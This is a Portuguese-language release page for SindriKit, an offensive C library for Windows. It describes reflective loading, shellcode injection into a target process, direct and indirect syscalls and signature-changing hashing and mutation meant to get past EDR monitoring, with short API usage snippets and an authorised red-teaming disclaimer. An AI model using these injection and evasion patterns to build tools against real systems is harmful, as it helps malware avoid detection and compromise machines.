Voltar às atualizações
New releaseJul 21, 2026

SindriKit v1.5.0

Uma biblioteca C fundamental para construir capacidades ofensivas operacionalmente críveis.

Compartilhar

SindriKit

Desenvolvimento Ofensivo Merece Uma Arquitetura Melhor.
Uma biblioteca C para construir capacidades ofensivas.


Conceito Central

A maioria dos utilitários ofensivos embute seus mecanismos de execução dentro da lógica da técnica. Um loader reflexivo não apenas mapeia uma imagem; ele a mapeia usando uma cadeia específica embutida no código de chamadas VirtualAlloc ou NTAPI nativas. Quando um EDR começa a monitorar essa cadeia específica, você é forçado a reescrever a ferramenta inteira.

O SindriKit resolve isso impondo uma separação de responsabilidades por meio de tabelas de abstração de interface:

  1. A Lógica da Técnica: (ex.: loaders, injeções, patchers) lida com o rastreamento de estado e a orquestração de dados. Ela não tem conhecimento de como a memória é alocada ou como as threads são criadas.
  2. Os Mecanismos de Execução: (ex.: API Win32, NTAPI nativa, syscalls diretos) ficam dentro de tabelas de API independentes e são injetados na técnica em tempo de execução.

Ao mover os mecanismos de execução para ponteiros de função em tempo de execução, você pode trocar toda a sua estratégia de chamadas Win32 para syscalls diretos brutos com uma única linha de código — sem alterar sua lógica de execução de payload.


Arquitetura do Projeto

  • Perfis de Execução Desacoplados: Troque os comportamentos subjacentes de manipulação de memória, módulos e threads por meio de tabelas de ponteiros de função sem quebrar a técnica chamadora.
  • Fallbacks em Cascata de Syscalls: Resolvedores SSN plugáveis (snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) com uma cadeia de prioridade — troque ou estenda estratégias sem tocar no código de domínio.
  • Ofuscação em Tempo de Compilação: Algoritmos de hash de strings e APIs (DJB2, FNV1A) podem ser trocados globalmente via CMake. Compilar randomiza automaticamente a semente global para alterar assinaturas estáticas.
  • Motor de Mutação: Permite polimorfismo profundo via SND_MORPH. Gera assinaturas binárias únicas a cada build ao injetar predicados opacos voláteis no código C, matemática/NOPs funcionalmente equivalentes em stubs de Assembly e embaralhar o layout de memória das structs principais.
  • Builds de Lançamento: Um nível silencioso remove todas as strings de diagnóstico, descritores de arquivo e frames de rastreamento do binário final, reduzindo sua superfície estática a primitivas puras.

Integrando o SindriKit

cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)

set(SND_BUILD_PAYLOADS  OFF    CACHE BOOL   "")
set(SND_ENABLE_DEBUG    OFF    CACHE BOOL   "")
set(SND_HASH_ALGO      "DJB2"  CACHE STRING "")
set(SND_RANDOMIZE_SEED  ON     CACHE BOOL   "")
set(SND_MORPH           ON     CACHE BOOL   "")

add_subdirectory(libs/SindriKit)

add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release

Apenas duas linhas para sua ferramenta herdar todas as capacidades do SindriKit: parsing de PE, resolução de syscalls, carga reflexiva...


O Motor

Camada de Abstração de API

        ┌────────────────────────────────────────────────────────────────────────────┐
        │                          ANY OFFENSIVE INTENT                              │
        │    Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ...      │
        ├────────────────────────────────────────────────────────────────────────────┤
        │                     SINDRIKIT API ABSTRACTION LAYER                        │
        │      snd_memory_api_t  ->  alloc · free · protect                          │
        │      snd_module_api_t  ->  load_library · get_proc_address · ...           │
        │      snd_process_api_t ->  open · alloc_remote · write · protect · thread  │
        │      [ future tables ] ->  thread · object · ...                           │
        ├──────────────────┬──────────────────────┬──────────────────────────────────┤
        │   Win32 Profile  │    Native Profile    │    Bring Your Own Mechanic       │
        │  VirtualAlloc    │  NtAllocateVirtual   │  Driver · ROP · Exotic           │
        │  LoadLibraryA    │  PEB Walk + EAT      │  Operator-defined functions      │
        └──────────────────┴──────────────────────┴──────────────────────────────────┘

Na prática, isso significa que todo domínio segue o mesmo contrato:

// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api    = &snd_mem_win;   // or snd_mem_nt / snd_mem_sys
ctx.mod_api    = &snd_mod_win;   // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);

// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload    = &shellcode;
inj.proc_api   = &snd_proc_sys;  // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);

Pipeline de Syscalls em Cascata

O SindriKit trata a resolução de syscalls como um mecanismo injetável, empilhando estratégias em ordem de prioridade. O motor tenta em cascata até que uma tenha sucesso:

snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);

O invocador é desacoplado da resolução de SSN — alterne entre syscalls diretos e indiretos sem modificar o código de domínio. A invocação indireta salta para um gadget legítimo da NTDLL, mantendo o endereço de retorno do syscall dentro de ntdll.dll.

Alternância de Algoritmos em Tempo de Compilação

Todo nome de API e string de módulo é removido do binário final em tempo de compilação por meio de uma única variável CMake:

set(SND_HASH_ALGO "FNV1A")  # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON)  # generates a fresh 32-bit seed on next configure

Cada hash é calculado com uma semente gerada aleatoriamente (se SND_RANDOMIZE_SEED=ON). A superfície estática muda completamente entre compilações sem tocar em uma linha de C.

FFI Dinâmico Ciente da Arquitetura

Uma ponte Assembly MASM personalizada para invocação arbitrária de funções em tempo de execução. Builds x64 seguem precisamente a convenção de chamada x64 da Microsoft (shadow space, posicionamento de argumentos em registradores, alinhamento de pilha). Builds x86 empurram argumentos em ordem reversa com suporte para alvos cdecl e stdcall.

Parser de PE com Verificação de Limites

Um parser unificado de PE32/PE32+ com um flag is_mapped que lida corretamente tanto com imagens brutas em disco quanto com visões mapeadas em memória. Todo acesso ao diretório de dados é validado contra os limites do buffer rastreados antes do dereferenciamento. A resolução de exports suporta cadeias de forwarder até a profundidade 4 com busca baseada em hash.

Testado contra:

  • Mais de 40 combinações de testes principais visando EXEs e DLLs de casos extremos, argumentos inválidos, exports ausentes e callbacks TLS em x86 e x64.
  • Mais de 100 mutações dinâmicas de PE geradas pelo módulo pe_mutator: nomes de seção zerados, estouros de inteiro, limites e_lfanew inválidos, imports corrompidos.
  • Corpus completo do Corkami: carrega corretamente amostras válidas e rejeita corretamente as malformadas sem travar em 99% das amostras.

Contextos de Domínio com Rastreamento de Estado

Toda operação ofensiva é gerenciada por meio de uma estrutura de contexto discreta com enumeração de estágios. As operações podem ser pausadas entre estágios para ofuscação de sono ou implantação em etapas, retomadas limpas e inspecionadas para identificar o ponto exato de falha até o subsistema e o motivo.


A Filosofia de Design da API

Inicialize o pipeline de syscalls uma vez (padrão típico):

PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);

O invocador é desacoplado da resolução de SSN — alterne entre syscalls diretos e indiretos sem modificar o código de domínio. A invocação indireta salta para um gadget legítimo da NTDLL, mantendo o endereço de retorno do syscall dentro de ntdll.dll.

Troque o perfil de execução com uma única atribuição:

ctx.mem_api = &snd_mem_win;   // diagnostic
ctx.mem_api = &snd_mem_nt;    // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys;   // direct syscalls (pipeline required)

A resolução de módulos segue o mesmo padrão (snd_mod_win vs snd_mod_nt). Não existe backend de módulos baseado em syscall — imports usam PEB walk + EAT mesmo em perfis completos _sys.


Níveis de Build

Nível de Debug — SND_ENABLE_DEBUG=ON

Para desenvolvimento local. snd_status_t se expande para incluir file, line e um buffer de string context de 128 bytes. SND_ERR_CTX e SND_DEBUG_PRINT emitem transições de máquina de estado, valores de campos de PE analisados e resultados de resolução de syscalls. Use SND_USE_PRINTF=ON para direcionar a saída para stdout em vez do console de debug.

Nível Silencioso — SND_ENABLE_DEBUG=OFF

A configuração padrão de implantação para binários operacionais. Toda string de diagnóstico, referência de arquivo e número de linha é completamente removida na compilação. snd_status_t se reduz a dois inteiros. Nada mais.

set(SND_ENABLE_DEBUG   OFF   CACHE BOOL   "")
set(SND_BUILD_PAYLOADS OFF   CACHE BOOL   "")
set(SND_RANDOMIZE_SEED ON    CACHE BOOL   "")
set(SND_USE_DEFAULTS   ON    CACHE BOOL   "")
set(SND_HASH_ALGO    "DJB2"  CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)

Documentação

Referência completa em docs/:

  • Primeiros Passos — CMake, níveis de build, bootstrap de DI, primeiro fluxo de loader/injeção
  • Arquitetura — Injeção de dependência, máquinas de estado, sistema de status
  • Primitivas — Memória, módulos, processo, mapeamento, syscalls, execução (FFI)
  • Loaders — Pipeline de PE reflexivo
  • Injeção — Injeção clássica de shellcode e de PE
  • Parsers — Subdomínios PE e env (PEB)
  • Comum — Auxiliares sem CRT, buffers, hashing, status
  • Exemplos & PoCsloader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gate
  • Testes — Executor de integração, mutador de PE

Planejado: domínio Evasion.


O SindriKit foi criado apenas para fins educacionais, de pesquisa e de Red Teaming autorizado. Para o aviso legal completo e informações sobre considerações de OpSec, consulte a Política de Segurança.


Licença

MIT


Categorias